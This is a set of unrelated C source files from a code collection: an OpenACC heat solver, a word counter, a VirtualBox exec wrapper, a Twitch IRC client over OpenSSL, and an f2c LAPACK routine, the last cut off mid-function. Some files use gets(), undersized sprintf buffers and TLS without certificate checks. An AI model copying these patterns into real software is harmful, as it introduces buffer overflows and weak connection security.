* | |
* | |
* 0 +-------------------+ 100
* 0 T 100
*
* John Urbanic, PSC 2014
*
************************************************/
#include <stdlib.h>
#include <stdio.h>
#include <math.h>
#include <sys/time.h>
// size of plate
#define COLUMNS 1000
#define ROWS 1000
// largest permitted change in temp (This value takes about 3400 steps)
#define MAX_TEMP_ERROR 0.01
double Temperature[ROWS+2][COLUMNS+2]; // temperature grid
double Temperature_last[ROWS+2][COLUMNS+2]; // temperature grid from last iteration
// helper routines
void initialize();
void track_progress(int iter);
int main(int argc, char *argv[]) {
int i, j; // grid indexes
int max_iterations; // number of iterations
int iteration=1; // current iteration
double dt=100; // largest change in t
struct timeval start_time, stop_time, elapsed_time; // timers
// printf("Maximum iterations [100-4000]?\n");
// scanf("%d", &max_iterations);
max_iterations = 4000;
printf("Maximum iterations = %d\n", max_iterations);
gettimeofday(&start_time,NULL); // Unix timer
initialize(); // initialize Temp_last including boundary conditions
// do until error is minimal or until max steps
#pragma acc data copy(Temperature_last), create(Temperature)
while ( dt > MAX_TEMP_ERROR && iteration <= max_iterations ) {
// main calculation: average my four neighbors
#pragma acc kernels
for(i = 1; i <= ROWS; i++) {
for(j = 1; j <= COLUMNS; j++) {
Temperature[i][j] = 0.25 * (Temperature_last[i+1][j] + Temperature_last[i-1][j] +
Temperature_last[i][j+1] + Temperature_last[i][j-1]);
}
}
dt = 0.0; // reset largest temperature change
// copy grid to old grid for next iteration and find latest dt
#pragma acc kernels
for(i = 1; i <= ROWS; i++){
for(j = 1; j <= COLUMNS; j++){
dt = fmax( fabs(Temperature[i][j]-Temperature_last[i][j]), dt);
Temperature_last[i][j] = Temperature[i][j];
}
}
// periodically print test values
if((iteration % 100) == 0) {
#pragma acc update host(Temperature)
track_progress(iteration);
}
iteration++;
}
gettimeofday(&stop_time,NULL);
timersub(&stop_time, &start_time, &elapsed_time); // Unix time subtract routine
printf("\nMax error at iteration %d was %f\n", iteration-1, dt);
printf("Total time was %f seconds.\n", elapsed_time.tv_sec+elapsed_time.tv_usec/1000000.0);
}
// initialize plate and boundary conditions
// Temp_last is used to to start first iteration
void initialize(){
int i,j;
for(i = 0; i <= ROWS+1; i++){
for (j = 0; j <= COLUMNS+1; j++){
Temperature_last[i][j] = 0.0;
}
}
// these boundary conditions never change throughout run
// set left side to 0 and right to a linear increase
for(i = 0; i <= ROWS+1; i++) {
Temperature_last[i][0] = 0.0;
Temperature_last[i][COLUMNS+1] = (100.0/ROWS)*i;
}
// set top to 0 and bottom to linear increase
for(j = 0; j <= COLUMNS+1; j++) {
Temperature_last[0][j] = 0.0;
Temperature_last[ROWS+1][j] = (100.0/COLUMNS)*j;
}
}
// print diagonal in bottom right corner where most action is
void track_progress(int iteration) {
int i;
printf("---------- Iteration number: %d ------------\n", iteration);
for(i = ROWS-5; i <= ROWS; i++) {
printf("[%d,%d]: %5.2f ", i, i, Temperature[i][i]);
}
printf("\n");
}
|
the_stack_data/75138962.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
int wcount(char *s) {
long n,i;
n = i = 0;
n=strlen(s);
int count = 1;
for (i=0;i<n;i++) {
if (i != 0 && i != n-1 && (*(s + i)) == ' ')
count+=1;
}
return count;
}
int main(int argc, char** argv) {
long i,r;
i = r = 0;
scanf ("%ld", &i);
char s[100000];
gets(s);
if (s == NULL)
printf ("0");
else {
r = wcount (s);
printf("%ld", r);
return 0;
}
} |
the_stack_data/92121.c | /* $Id: VBoxISAExec.c $ */
/** @file
* VBoxISAExec, ISA exec wrapper, Solaris hosts.
*/
/*
* Copyright (C) 2006-2015 Oracle Corporation
*
* This file is part of VirtualBox Open Source Edition (OSE), as
* available from http://www.virtualbox.org. This file is free software;
* you can redistribute it and/or modify it under the terms of the GNU
* General Public License (GPL) as published by the Free Software
* Foundation, in version 2 as it comes in the "COPYING" file of the
* VirtualBox OSE distribution. VirtualBox OSE is distributed in the
* hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
*/
/*******************************************************************************
* Header Files *
*******************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[], char *envv[])
{
int rc = 0;
const char *pszExec = getexecname();
if (!pszExec)
{
fprintf(stderr, "Failed to get executable name.\n");
return -1;
}
rc = isaexec(pszExec, argv, envv);
if (rc == -1)
fprintf(stderr, "Failed to find/execute ISA specific executable for %s\n", pszExec);
return rc;
}
|
the_stack_data/434707.c | /*
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+-----------------------------------+
| |
| @author: [email protected] |
| |
| @version: 1.3.1 |
| |
+-----------------------------------+
*/
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netdb.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
SSL_CTX* InitCTX(void);
typedef struct {
SSL_CTX* ctx;
SSL* ssl;
int socket;
int usingSSL;
} twitch_connection;
twitch_connection* twlibc_init(int usingSSL){ //returns a pointer to a struct that has to be freed
twitch_connection *temp;
temp = malloc(sizeof(twitch_connection));
struct sockaddr_in twitchaddr;
SSL_CTX *ctx;
SSL *ssl;
int twitchsock;
int PORT;
if(usingSSL == 1){
//using SSL
SSL_library_init();
ctx = InitCTX();
ssl = SSL_new(ctx);
}else {
ctx = NULL;
ssl = NULL;
}
twitchsock = socket(AF_INET, SOCK_STREAM, 0);
if (twitchsock==-1)
return NULL;
struct hostent* host = gethostbyname("irc.chat.twitch.tv");
if(host == NULL)
return NULL;
if(usingSSL == 1){
PORT = 6697;
temp->usingSSL = 1;
}else {
PORT = 6667;
temp->usingSSL = 0;
}
//setup address
bzero(&twitchaddr, sizeof(twitchaddr));
twitchaddr.sin_family = AF_INET;
twitchaddr.sin_addr.s_addr = *(long *)host->h_addr_list[0];
twitchaddr.sin_port = htons(PORT);
if(connect(twitchsock, (struct sockaddr*)&twitchaddr, sizeof(twitchaddr)) != 0)
return NULL;
if(usingSSL == 1){
SSL_set_fd(ssl, twitchsock);
if (SSL_connect(ssl) == -1)
return NULL;
}
if(usingSSL == 0){
//not using SSL
temp->ctx = NULL;
temp->ssl = NULL;
}else {
//using SSL
temp->ctx = ctx;
temp->ssl = ssl;
}
temp->socket = twitchsock;
return temp;
}
int twlibc_msgchannel(twitch_connection* twlibc, const char* channel, const char* message){
char payload[12+strlen(channel)+strlen(message)];
sprintf(payload, "PRIVMSG %s :%s\r\n", channel, message);
if(twlibc->ssl == NULL){
return write(twlibc->socket, payload, strlen(payload));
}else{
return SSL_write(twlibc->ssl, payload, strlen(payload));
}
return 0;
}
int twlibc_joinchannel(twitch_connection* twlibc, const char* channel, char* output, int length){
char payload[7+strlen(channel)];
sprintf(payload, "JOIN %s\r\n", channel);
if(twlibc->ssl == NULL){
//not using SSL
if(write(twlibc->socket, payload, strlen(payload))==-1){
return -1;
}
if(output != NULL){
if(read(twlibc->socket, output, length)==-1){
return -1;
}
}
}else{
//using SSL
if(SSL_write(twlibc->ssl, payload, strlen(payload))==-1){
return -1;
}
if(output != NULL){
if(SSL_read(twlibc->ssl, output, length)==-1){
return -1;
}
}
}
return 0;
}
int twlibc_leavechannel(twitch_connection* twlibc, const char* channel, char* output, int length){
char payload[7+strlen(channel)];
sprintf(payload, "PART %s\r\n", channel);
if(twlibc->ssl == NULL){
//not using SSL
if(write(twlibc->socket, payload, strlen(payload))==-1){
return -1;
}
if(output != NULL){
if(read(twlibc->socket, output, length)==-1){
return -1;
}
}
}else{
//using SSL
if(SSL_write(twlibc->ssl, payload, strlen(payload))==-1){
return -1;
}
if(output != NULL){
if(SSL_read(twlibc->ssl, output, length)==-1){
return -1;
}
}
}
return 0;
}
int twlibc_sendrawpacket(twitch_connection* twlibc, char* payload){
/*
int payloadlen = strlen(payload);
if(payload[payloadlen] != '\n' || payload[payloadlen-1] != '\r'){
strcat(payload, "\r\n");
}
*/
if((int)twlibc->usingSSL == 1){
return SSL_write(twlibc->ssl, payload, strlen(payload));
}else {
if(write(twlibc->socket, payload, strlen(payload))==-1){
return -1;
}
}
return 1;
}
int twlibc_setupauth(twitch_connection* twlibc,
const char* oauth,
const char* nick,
char* output,
int length)
{
char payload[14 + strlen(oauth) + strlen(nick)];
sprintf(payload, "PASS %s\r\nNICK %s\r\n", oauth, nick);
if(twlibc->usingSSL == 1){
//using SSL
return SSL_write(twlibc->ssl, payload, strlen(payload));
}else {
//not using SSL
return write(twlibc->socket, payload, strlen(payload));
}
if(output!=NULL){
if(twlibc->usingSSL == 0){
//not using SSL
return read(twlibc->socket, output, length);
}else {
return SSL_read(twlibc->ssl, output, length);
}
}
return 0;
}
char* twlibc_parseSender(char* message){
char* name = strtok(message, "!");
if(name==NULL)
return NULL;
name++;
char* parsedName = (char *)malloc(1+strlen(name));
if(parsedName==NULL)
return NULL;
strcpy(parsedName, name);
return parsedName;
}
int twlibc_whisper(twitch_connection* twlibc,
const char* user,
const char* message,
const char* channel){
char buffer[16 + strlen(channel) + strlen(user) + strlen(message)];
sprintf(buffer, "PRIVMSG %s :/w %s %s\r\n", channel, user, message);
if(twlibc->ssl != NULL){
return SSL_write(twlibc->ssl, buffer, strlen(buffer));
}else {
return write(twlibc->socket, buffer, strlen(buffer));
}
}
SSL_CTX* InitCTX(void){
SSL_METHOD *tls_method = TLS_client_method(); // Create new client-method instance
SSL_CTX *ctx;
OpenSSL_add_all_algorithms(); /* Load cryptos, et.al. */
SSL_load_error_strings(); /* Bring in and register error */
ctx = SSL_CTX_new(tls_method); /* Create new context */
if ( ctx == NULL )
{
ERR_print_errors_fp(stderr);
abort();
}
return ctx;
}
void ShowCerts(SSL* ssl){
X509 *cert;
char *line;
cert = SSL_get_peer_certificate(ssl); /* get the server's certificate */
if ( cert != NULL )
{
printf("Server certificates:\n");
line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
printf("Subject: %s\n", line);
free(line); /* free the malloc'ed string */
line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
printf("Issuer: %s\n", line);
free(line); /* free the malloc'ed string */
X509_free(cert); /* free the malloc'ed certificate copy */
}
else
printf("Info: No client certificates configured.\n");
}
|
the_stack_data/12637411.c | #include<stdio.h>
int main(void){
double x,sum;
int i;
while(scanf("%lf",&x)!=EOF){
sum=x;
for(i=0;i<9;i++){
if(i%2==0)x*=2;
else if(i%2==1)x/=3;
sum+=x;
}
printf("%.8f\n",sum);
}
return 0;
}
|
the_stack_data/72467.c | /* f2c.h -- Standard Fortran to C header file */
/** barf [ba:rf] 2. "He suggested using FORTRAN, and everybody barfed."
- From The Shogakukan DICTIONARY OF NEW ENGLISH (Second edition) */
#ifndef F2C_INCLUDE
#define F2C_INCLUDE
#include <math.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <complex.h>
#ifdef complex
#undef complex
#endif
#ifdef I
#undef I
#endif
#if defined(_WIN64)
typedef long long BLASLONG;
typedef unsigned long long BLASULONG;
#else
typedef long BLASLONG;
typedef unsigned long BLASULONG;
#endif
#ifdef LAPACK_ILP64
typedef BLASLONG blasint;
#if defined(_WIN64)
#define blasabs(x) llabs(x)
#else
#define blasabs(x) labs(x)
#endif
#else
typedef int blasint;
#define blasabs(x) abs(x)
#endif
typedef blasint integer;
typedef unsigned int uinteger;
typedef char *address;
typedef short int shortint;
typedef float real;
typedef double doublereal;
typedef struct { real r, i; } complex;
typedef struct { doublereal r, i; } doublecomplex;
static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;}
static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;}
#define pCf(z) (*_pCf(z))
#define pCd(z) (*_pCd(z))
typedef int logical;
typedef short int shortlogical;
typedef char logical1;
typedef char integer1;
#define TRUE_ (1)
#define FALSE_ (0)
/* Extern is for use with -E */
#ifndef Extern
#define Extern extern
#endif
/* I/O stuff */
typedef int flag;
typedef int ftnlen;
typedef int ftnint;
/*external read, write*/
typedef struct
{ flag cierr;
ftnint ciunit;
flag ciend;
char *cifmt;
ftnint cirec;
} cilist;
/*internal read, write*/
typedef struct
{ flag icierr;
char *iciunit;
flag iciend;
char *icifmt;
ftnint icirlen;
ftnint icirnum;
} icilist;
/*open*/
typedef struct
{ flag oerr;
ftnint ounit;
char *ofnm;
ftnlen ofnmlen;
char *osta;
char *oacc;
char *ofm;
ftnint orl;
char *oblnk;
} olist;
/*close*/
typedef struct
{ flag cerr;
ftnint cunit;
char *csta;
} cllist;
/*rewind, backspace, endfile*/
typedef struct
{ flag aerr;
ftnint aunit;
} alist;
/* inquire */
typedef struct
{ flag inerr;
ftnint inunit;
char *infile;
ftnlen infilen;
ftnint *inex; /*parameters in standard's order*/
ftnint *inopen;
ftnint *innum;
ftnint *innamed;
char *inname;
ftnlen innamlen;
char *inacc;
ftnlen inacclen;
char *inseq;
ftnlen inseqlen;
char *indir;
ftnlen indirlen;
char *infmt;
ftnlen infmtlen;
char *inform;
ftnint informlen;
char *inunf;
ftnlen inunflen;
ftnint *inrecl;
ftnint *innrec;
char *inblank;
ftnlen inblanklen;
} inlist;
#define VOID void
union Multitype { /* for multiple entry points */
integer1 g;
shortint h;
integer i;
/* longint j; */
real r;
doublereal d;
complex c;
doublecomplex z;
};
typedef union Multitype Multitype;
struct Vardesc { /* for Namelist */
char *name;
char *addr;
ftnlen *dims;
int type;
};
typedef struct Vardesc Vardesc;
struct Namelist {
char *name;
Vardesc **vars;
int nvars;
};
typedef struct Namelist Namelist;
#define abs(x) ((x) >= 0 ? (x) : -(x))
#define dabs(x) (fabs(x))
#define f2cmin(a,b) ((a) <= (b) ? (a) : (b))
#define f2cmax(a,b) ((a) >= (b) ? (a) : (b))
#define dmin(a,b) (f2cmin(a,b))
#define dmax(a,b) (f2cmax(a,b))
#define bit_test(a,b) ((a) >> (b) & 1)
#define bit_clear(a,b) ((a) & ~((uinteger)1 << (b)))
#define bit_set(a,b) ((a) | ((uinteger)1 << (b)))
#define abort_() { sig_die("Fortran abort routine called", 1); }
#define c_abs(z) (cabsf(Cf(z)))
#define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); }
#define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);}
#define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);}
#define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));}
#define c_log(R, Z) {pCf(R) = clogf(Cf(Z));}
#define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));}
//#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));}
#define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));}
#define d_abs(x) (fabs(*(x)))
#define d_acos(x) (acos(*(x)))
#define d_asin(x) (asin(*(x)))
#define d_atan(x) (atan(*(x)))
#define d_atn2(x, y) (atan2(*(x),*(y)))
#define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); }
#define r_cnjg(R, Z) { pCf(R) = conj(Cf(Z)); }
#define d_cos(x) (cos(*(x)))
#define d_cosh(x) (cosh(*(x)))
#define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 )
#define d_exp(x) (exp(*(x)))
#define d_imag(z) (cimag(Cd(z)))
#define r_imag(z) (cimag(Cf(z)))
#define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define d_log(x) (log(*(x)))
#define d_mod(x, y) (fmod(*(x), *(y)))
#define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x)))
#define d_nint(x) u_nint(*(x))
#define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a)))
#define d_sign(a,b) u_sign(*(a),*(b))
#define r_sign(a,b) u_sign(*(a),*(b))
#define d_sin(x) (sin(*(x)))
#define d_sinh(x) (sinh(*(x)))
#define d_sqrt(x) (sqrt(*(x)))
#define d_tan(x) (tan(*(x)))
#define d_tanh(x) (tanh(*(x)))
#define i_abs(x) abs(*(x))
#define i_dnnt(x) ((integer)u_nint(*(x)))
#define i_len(s, n) (n)
#define i_nint(x) ((integer)u_nint(*(x)))
#define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b)))
#define pow_dd(ap, bp) ( pow(*(ap), *(bp)))
#define pow_si(B,E) spow_ui(*(B),*(E))
#define pow_ri(B,E) spow_ui(*(B),*(E))
#define pow_di(B,E) dpow_ui(*(B),*(E))
#define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));}
#define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));}
#define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));}
#define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; }
#define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d))))
#define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; }
#define sig_die(s, kill) { exit(1); }
#define s_stop(s, n) {exit(0);}
static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n";
#define z_abs(z) (cabs(Cd(z)))
#define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));}
#define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));}
#define myexit_() break;
#define mycycle() continue;
#define myceiling(w) {ceil(w)}
#define myhuge(w) {HUGE_VAL}
//#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);}
#define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)}
/* procedure parameter types for -A and -C++ */
#define F2C_proc_par_types 1
#ifdef __cplusplus
typedef logical (*L_fp)(...);
#else
typedef logical (*L_fp)();
#endif
static float spow_ui(float x, integer n) {
float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static double dpow_ui(double x, integer n) {
double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static _Complex float cpow_ui(_Complex float x, integer n) {
_Complex float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static _Complex double zpow_ui(_Complex double x, integer n) {
_Complex double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer pow_ii(integer x, integer n) {
integer pow; unsigned long int u;
if (n <= 0) {
if (n == 0 || x == 1) pow = 1;
else if (x != -1) pow = x == 0 ? 1/x : 0;
else n = -n;
}
if ((n > 0) || !(n == 0 || x == 1 || x != -1)) {
u = n;
for(pow = 1; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer dmaxloc_(double *w, integer s, integer e, integer *n)
{
double m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static integer smaxloc_(float *w, integer s, integer e, integer *n)
{
float m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i])) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i])) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i]) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i]) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
/* -- translated by f2c (version 20000121).
You must link the resulting object file with the libraries:
-lf2c -lm (in that order)
*/
/* > \brief \b ZLA_SYAMV computes a matrix-vector product using a symmetric indefinite matrix to calculate err
or bounds. */
/* =========== DOCUMENTATION =========== */
/* Online html documentation available at */
/* http://www.netlib.org/lapack/explore-html/ */
/* > \htmlonly */
/* > Download ZLA_SYAMV + dependencies */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/zla_sya
mv.f"> */
/* > [TGZ]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/zla_sya
mv.f"> */
/* > [ZIP]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/zla_sya
mv.f"> */
/* > [TXT]</a> */
/* > \endhtmlonly */
/* Definition: */
/* =========== */
/* SUBROUTINE ZLA_SYAMV( UPLO, N, ALPHA, A, LDA, X, INCX, BETA, Y, */
/* INCY ) */
/* DOUBLE PRECISION ALPHA, BETA */
/* INTEGER INCX, INCY, LDA, N */
/* INTEGER UPLO */
/* COMPLEX*16 A( LDA, * ), X( * ) */
/* DOUBLE PRECISION Y( * ) */
/* > \par Purpose: */
/* ============= */
/* > */
/* > \verbatim */
/* > */
/* > ZLA_SYAMV performs the matrix-vector operation */
/* > */
/* > y := alpha*abs(A)*abs(x) + beta*abs(y), */
/* > */
/* > where alpha and beta are scalars, x and y are vectors and A is an */
/* > n by n symmetric matrix. */
/* > */
/* > This function is primarily used in calculating error bounds. */
/* > To protect against underflow during evaluation, components in */
/* > the resulting vector are perturbed away from zero by (N+1) */
/* > times the underflow threshold. To prevent unnecessarily large */
/* > errors for block-structure embedded in general matrices, */
/* > "symbolically" zero components are not perturbed. A zero */
/* > entry is considered "symbolic" if all multiplications involved */
/* > in computing that entry have at least one zero multiplicand. */
/* > \endverbatim */
/* Arguments: */
/* ========== */
/* > \param[in] UPLO */
/* > \verbatim */
/* > UPLO is INTEGER */
/* > On entry, UPLO specifies whether the upper or lower */
/* > triangular part of the array A is to be referenced as */
/* > follows: */
/* > */
/* > UPLO = BLAS_UPPER Only the upper triangular part of A */
/* > is to be referenced. */
/* > */
/* > UPLO = BLAS_LOWER Only the lower triangular part of A */
/* > is to be referenced. */
/* > */
/* > Unchanged on exit. */
/* > \endverbatim */
/* > */
/* > \param[in] N */
/* > \verbatim */
/* > N is INTEGER */
/* > On entry, N specifies the number of columns of the matrix A. */
/* > N must be at least zero. */
/* > Unchanged on exit. */
/* > \endverbatim */
/* > */
/* > \param[in] ALPHA */
/* > \verbatim */
/* > ALPHA is DOUBLE PRECISION . */
/* > On entry, ALPHA specifies the scalar alpha. */
/* > Unchanged on exit. */
/* > \endverbatim */
/* > */
/* > \param[in] A */
/* > \verbatim */
/* > A is COMPLEX*16 array, dimension ( LDA, n ). */
/* > Before entry, the leading m by n part of the array A must */
/* > contain the matrix of coefficients. */
/* > Unchanged on exit. */
/* > \endverbatim */
/* > */
/* > \param[in] LDA */
/* > \verbatim */
/* > LDA is INTEGER */
/* > On entry, LDA specifies the first dimension of A as declared */
/* > in the calling (sub) program. LDA must be at least */
/* > f2cmax( 1, n ). */
/* > Unchanged on exit. */
/* > \endverbatim */
/* > */
/* > \param[in] X */
/* > \verbatim */
/* > X is COMPLEX*16 array, dimension at least */
/* > ( 1 + ( n - 1 )*abs( INCX ) ) */
/* > Before entry, the incremented array X must contain the */
/* > vector x. */
/* > Unchanged on exit. */
/* > \endverbatim */
/* > */
/* > \param[in] INCX */
/* > \verbatim */
/* > INCX is INTEGER */
/* > On entry, INCX specifies the increment for the elements of */
/* > X. INCX must not be zero. */
/* > Unchanged on exit. */
/* > \endverbatim */
/* > */
/* > \param[in] BETA */
/* > \verbatim */
/* > BETA is DOUBLE PRECISION . */
/* > On entry, BETA specifies the scalar beta. When BETA is */
/* > supplied as zero then Y need not be set on input. */
/* > Unchanged on exit. */
/* > \endverbatim */
/* > */
/* > \param[in,out] Y */
/* > \verbatim */
/* > Y is DOUBLE PRECISION array, dimension */
/* > ( 1 + ( n - 1 )*abs( INCY ) ) */
/* > Before entry with BETA non-zero, the incremented array Y */
/* > must contain the vector y. On exit, Y is overwritten by the */
/* > updated vector y. */
/* > \endverbatim */
/* > */
/* > \param[in] INCY */
/* > \verbatim */
/* > INCY is INTEGER */
/* > On entry, INCY specifies the increment for the elements of */
/* > Y. INCY must not be zero. */
/* > Unchanged on exit. */
/* > \endverbatim */
/* Authors: */
/* ======== */
/* > \author Univ. of Tennessee */
/* > \author Univ. of California Berkeley */
/* > \author Univ. of Colorado Denver */
/* > \author NAG Ltd. */
/* > \date June 2017 */
/* > \ingroup complex16SYcomputational */
/* > \par Further Details: */
/* ===================== */
/* > */
/* > \verbatim */
/* > */
/* > Level 2 Blas routine. */
/* > */
/* > -- Written on 22-October-1986. */
/* > Jack Dongarra, Argonne National Lab. */
/* > Jeremy Du Croz, Nag Central Office. */
/* > Sven Hammarling, Nag Central Office. */
/* > Richard Hanson, Sandia National Labs. */
/* > -- Modified for the absolute-value product, April 2006 */
/* > Jason Riedy, UC Berkeley */
/* > \endverbatim */
/* > */
/* ===================================================================== */
/* Subroutine */ int zla_syamv_(integer *uplo, integer *n, doublereal *alpha,
doublecomplex *a, integer *lda, doublecomplex *x, integer *incx,
doublereal *beta, doublereal *y, integer *incy)
{
/* System generated locals */
integer a_dim1, a_offset, i__1, i__2, i__3;
doublereal d__1, d__2;
/* Local variables */
integer info;
doublereal temp, safe1;
integer i__, j;
logical symb_zero__;
extern doublereal dlamch_(char *);
integer iy, jx, kx, ky;
extern /* Subroutine */ int xerbla_(char *, integer *, ftnlen);
extern integer ilauplo_(char *);
/* -- LAPACK computational routine (version 3.7.1) -- */
/* -- LAPACK is a software package provided by Univ. of Tennessee, -- */
/* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */
/* June 2017 */
/* ===================================================================== */
/* Test the input parameters. */
/* Parameter adjustments */
a_dim1 = *lda;
a_offset = 1 + a_dim1 * 1;
a -= a_offset;
--x;
--y;
/* Function Body */
info = 0;
if (*uplo != ilauplo_("U") && *uplo != ilauplo_("L")
) {
info = 1;
} else if (*n < 0) {
info = 2;
